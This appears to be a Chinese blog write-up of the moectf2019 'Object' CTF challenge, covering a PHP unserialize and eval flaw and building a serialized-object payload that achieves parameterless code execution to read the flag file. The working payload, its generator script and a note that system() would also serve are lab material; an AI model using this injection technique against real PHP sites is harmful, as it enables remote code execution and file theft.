moectf2019 Object 反序列化

今天来个反序列化,看源码。

点击查看代码
 <?php
error_reporting(0);
//flag在flag.php里
class flag
{
    public $cmd='index.php';

    public function __destruct(){
        if (preg_match('/\w+\((?R)?\)/', $this->cmd)){
            eval('$a="'.$this->cmd.'";');
        }
        else {
            die('hack!!!');
        }
    }
}


if (!isset($_GET['fl']) || !isset($_GET['ag'])) {
    die(@highlight_file('index.php',true));
}
else {
    if (!(preg_match('/[A-Za-z0-9]+\(/i', $_GET['fl']))) {
        die('hack!!!');
    }
    else {
        echo unserialize($_GET['ag']);
    }
}  
经过了两个过滤,第一个过滤fl必须是x(样子的,而cmd中必须有x()样子的,那就构造。
点击查看代码
<?php

class flag
{
    public $cmd='index.php';
}

$a = new flag();
$a->cmd = '1";print_r(scandir(current(localeconv())));"';
echo serialize($a);

这里直接去打会发现返回的是空白。

这里涉及到一个知识点,打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。如果没有这个方法,那么echo一个对象时,就会报错Object of class Account could not be converted to string,实际上这是一个类型匹配失败的错误。不过仍然可以用print_r()和var_dump()函数输出一个对象,但我们不能改源码,而如果我们将其变为数组,value成为对象则可以正常输出。

点击查看代码
$obj = new flag();
$obj->cmd='1";print_r(scandir(current(localeconv())));"';
echo serialize(array(
    'a' => $obj
));
echo '<br>';
echo unserialize($_GET['a']);
这时我们将payload进行试验发现有回显了,最终payload:
点击查看代码
a:1:{s:1:"a";O:4:"flag":1:{s:3:"cmd";s:51:"1";show_source(scandir(current(localeconv()))[4]);"";}}
其实这里使用system也可以,只是我想到了无参数rce而已。 总结: 1. 若对象没有声明__toString方法不能直接echo出来,但可以使用print_r()和var_dump()来输出对象。 2. 无参数rce
posted @ 2024-06-09 19:26  jockerliu  阅读(12)  评论(0编辑  收藏  举报